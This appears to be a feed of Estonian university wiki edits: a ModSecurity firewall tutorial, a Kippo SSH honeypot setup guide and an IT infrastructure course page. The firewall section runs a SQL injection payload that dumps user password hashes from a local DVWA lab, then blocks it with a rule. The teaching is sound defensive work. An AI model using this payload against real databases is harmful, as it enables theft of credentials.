SecRuleEngine On&lt;br /&gt;
&amp;lt; /ifmodule&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Edasi loome näiteks reegli, mis takistab ründega &#039;&#039;&#039;SQL injection&#039;&#039;&#039; küsida meie serveri andmebaasist DVWA kasutajate parooli hashe, kasutades argumenti &#039;&#039;&#039;union&#039;&#039;&#039;: &lt;br /&gt;
&lt;br /&gt;
Selleks lisame faili /etc/apache2/conf.d/modsecurity2.conf sellised read:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;ifmodule mod_security2.c&amp;gt;&lt;br /&gt;
SecRuleEngine On&lt;br /&gt;
SecDefaultAction &amp;quot;phase:2,deny,log,status:403&amp;quot;&lt;br /&gt;
Secrule ARGS &amp;quot;union&amp;quot; &lt;br /&gt;
&amp;lt;/ifmodule&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ehk, kui keegi üritab kasutada argumenti &#039;&#039;&#039;union&#039;&#039;&#039; blokitakse see kohe ära ja kuvatakse tõrge.&lt;br /&gt;
&lt;br /&gt;
== Testimine ==&lt;br /&gt;
&lt;br /&gt;
Testime alguses välja lülitatud tulemüüriga&lt;br /&gt;
&lt;br /&gt;
Nagu eelnevalt sai mainitud kasutame ründe testimiseks tarkvara &#039;&#039;&#039;DVWA&#039;&#039;&#039;, mis jookseb meie &#039;&#039;&#039;Apache&#039;&#039;&#039; serveris.&lt;br /&gt;
Võtame veebibrauseri kaudu lahti DVWA, aadressilt &#039;&#039;&#039;(https://127.0.0.1/dvwa)&#039;&#039;&#039; ja valime sealt &#039;&#039;&#039;SQL Injection&#039;&#039;&#039;, sisestame lahtrisse &#039;&#039;&#039;ID&#039;&#039;&#039; käsu:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&#039; union all select user, password from dvwa.users#&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seejärel vajutame klahvi &#039;&#039;&#039;Submit&#039;&#039;&#039;, saame ilusti vastuseks kasutajate nimed ja nende paroolide hashid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Pilt1_mod.jpg|400px]]&lt;br /&gt;
&lt;br /&gt;
Lülitame sisse tulemüüri käsuga:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;a2enmod mod-security&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme restardi Apache serverile käsuga:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;service apache2 restart&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Testime sisse lülitatud tulemüüriga eelnevat käsku kasutades, mille tulemusena saame vasutseks veateate.&lt;br /&gt;
&lt;br /&gt;
[[File:Pilt2_mod.jpg]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Tulemüür on valmis kasutamiseks.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Samamoodi erinevate reeglitega on võimalik kaitsa oma Apache veebiserverit erinevate rünnakute eest.&lt;br /&gt;
&lt;br /&gt;
== Konfiguratsiooni faili varundamine ==&lt;br /&gt;
&lt;br /&gt;
Kuna tulemüüri reeglite tegemine on ajanõudev tegevus, tuleks konfiguratsiooni fail serveris varundada käsuga:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;cp /etc/apache2/conf.d/modsecurity2.conf /root/backup/modsecurity/&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Konfiguratsiooni faili taastamine ==&lt;br /&gt;
&lt;br /&gt;
Kui teenus ei tööta korralikult või on vajalik se uuesti installida, siis konfiguratsiooni faili on võimalik taastada käsuga:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;cp /root/backup/modsecurity/modsecurity2.conf /etc/apache2/conf.d/&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Kasutatud materjal ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;http://kiranjith83.blogspot.com/2010/12/installing-and-configuring-modsecurity.html&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;http://www.sans.org/reading_room/whitepapers/webservers/web-application-firewall-detect-block-common-web-application-attacks_33831&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
[[Category:IT infrastruktuuri teenused]]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Kippo_SSH_Honeypot&amp;diff=88742</id>
		<title>Kippo SSH Honeypot</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Kippo_SSH_Honeypot&amp;diff=88742"/>
		<updated>2015-05-21T07:29:03Z</updated>

		<summary type="html">&lt;p&gt;Mernits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Autor=&lt;br /&gt;
Nimi: Anastasia Osadtsaja&amp;lt;br&amp;gt;&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Kippo Honeypot on SSH serveri imiteerimine. Eesmärk on panna arvama ründajat, et tegu on süsteemiga, kust saab ligi failidele. Kippo võlts failisüsteemis on võimalik lisada ja kustutada. Ründaja toiminguid logitakse.&amp;lt;br&amp;gt;&lt;br /&gt;
Kippot saab paigaldada mis tahes masinale, mis vastavad järgmistele nõuetele: [1][2] &amp;lt;br&amp;gt;&lt;br /&gt;
Python 2.5+&amp;lt;br&amp;gt;&lt;br /&gt;
Twisted 8.0+&amp;lt;br&amp;gt;&lt;br /&gt;
PyCrypto&amp;lt;br&amp;gt;&lt;br /&gt;
Zope Interface&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Install=&lt;br /&gt;
&lt;br /&gt;
Järgnevad käsud on mõeldud Debian, Ubuntu, Linux Mint süsteemidele.&lt;br /&gt;
&lt;br /&gt;
Vajalike pakkide install: [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sudo apt-get update &amp;amp;&amp;amp; apt-get install python-twisted&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Esimesel katsel proovivad ründajad port 22, seega tuleb konfiguratsioonis teha kerged muudatused. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;# nano /etc/ssh/ssh_config&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Konfiguratsioonis muuta port 22 näiteks 2002. Salvestada muudatus ja lahkuda failist. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;Host *&lt;br /&gt;
...&lt;br /&gt;
#   Port 2002&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muudatuste toimimiseks taaskäivitada teenus. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;# service ssh restart&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muudatuste kontrollimine: [2] &lt;br /&gt;
&amp;lt;pre&amp;gt;# netstat -ant | grep 2002&lt;br /&gt;
tcp        0      0 0.0.0.0:2002            0.0.0.0:*               LISTEN&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada uus kasutaja kippo ja logida sisse loodud kasutajana. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;# adduser kippo&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installida uusim Kippo pakk (https://github.com/desaster/kippo) [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ wget http://kippo.googlecode.com/files/kippo-0.8.tar.gz&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allalaetud pakk lahti pakkida. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ tar xzf kippo-0.8.tar.gz&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahti pakkimisel luuakse kataloog kippo-0.8, [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ ls kippo-0.8&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
mille sees on: [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;data  dl  doc  fs.pickle  honeyfs  kippo  kippo.cfg  kippo.tac    log  start.sh  txtcmds    utils&amp;lt;/pre&amp;gt;&lt;br /&gt;
dl – failid mis laeti alla wget-iga.&amp;lt;br&amp;gt;&lt;br /&gt;
log/kippo.log – log/debug väljund. &amp;lt;br&amp;gt;&lt;br /&gt;
log/tty/ – sessioni logid. &amp;lt;br&amp;gt;&lt;br /&gt;
utils/playlog.py – utiliidid, et vastata sessiooni logidele. &amp;lt;br&amp;gt;&lt;br /&gt;
utils/createfs.py – vajalik fs.pickle loomiseks. &amp;lt;br&amp;gt;&lt;br /&gt;
fs.pickle – võlts failisüsteem. &amp;lt;br&amp;gt;&lt;br /&gt;
honeyfs/ – kataloog, mis hoiab endast võlts faile. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järgnevat käsku sisestada juurkasutajas. Vaikimisi on Kippo port 2002, käsuga suunatakse SSH 22 liiklus Kippo 2002 porti. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2002 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kippo käivitamine=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ cd kippo-0.8/&lt;br /&gt;
$ ./start.sh&lt;br /&gt;
Starting kippo in background...Generating RSA keypair...&lt;br /&gt;
done.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SSH-ga ühenduse loomine. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ ssh &amp;lt;kasutaja&amp;gt;@&amp;lt;IP&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on Kippo parool 123456. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;Password:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasulikud tegevused=&lt;br /&gt;
Parooli muutmine. Uueks juurkasutaja parooliks saab näiteks password. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;kippo@server:~/kippo-0.8$ utils/passdb.py data/pass.db add password&amp;lt;/pre&amp;gt;&lt;br /&gt;
Vaikimisi on hostname nas3, soovitatav oleks hostname muuta. Muutmiseks tuleb avada kippo.cfg fail. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nano kippo.cfg&amp;lt;/pre&amp;gt;&lt;br /&gt;
Uus hostname on server. [1]&lt;br /&gt;
&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
# (default: nas3)&lt;br /&gt;
hostname = server&lt;br /&gt;
[...]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Logide kontrollimine=&lt;br /&gt;
Logisid hoitakse kippo kataloogis. &amp;lt;ref&amp;gt;http://www.unixmen.com/kippo-ssh-honeypot-monitor-brute-force-attacks-debian-7-ubuntu-13-10/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;$ cat log/kippo.log&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kokkuvõte=&lt;br /&gt;
Soovitatav on Kippot kasutada virutaalmasinal, millel on tulemüür, kuna ta on tundlik DoS rünnakutele.&lt;br /&gt;
Eelnevalt tehtud konfiguratsioonid ja installatsioonid, aitavad mõista kuidas ründajad tegutsevad: kuidas ründavad ja mida üritavad teha. [1][2]&lt;br /&gt;
&lt;br /&gt;
=Kasutatud kirjandus=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[1] http://www.unixmen.com/kippo-ssh-honeypot-monitor-brute-force-attacks-debian-7-ubuntu-13-10/&amp;lt;br&amp;gt;&lt;br /&gt;
[2] http://how-to.linuxcareer.com/deployment-of-kippo-ssh-honeypot-on-ubuntu-linux&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88730</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88730"/>
		<updated>2015-05-21T06:39:16Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[ntop]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[iodine]]&lt;br /&gt;
&lt;br /&gt;
[[fabric]]&lt;br /&gt;
&lt;br /&gt;
[[mpstat]]&lt;br /&gt;
&lt;br /&gt;
[[arpwatch]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[ss]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[glances]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[mod_status]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[smoothwall]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
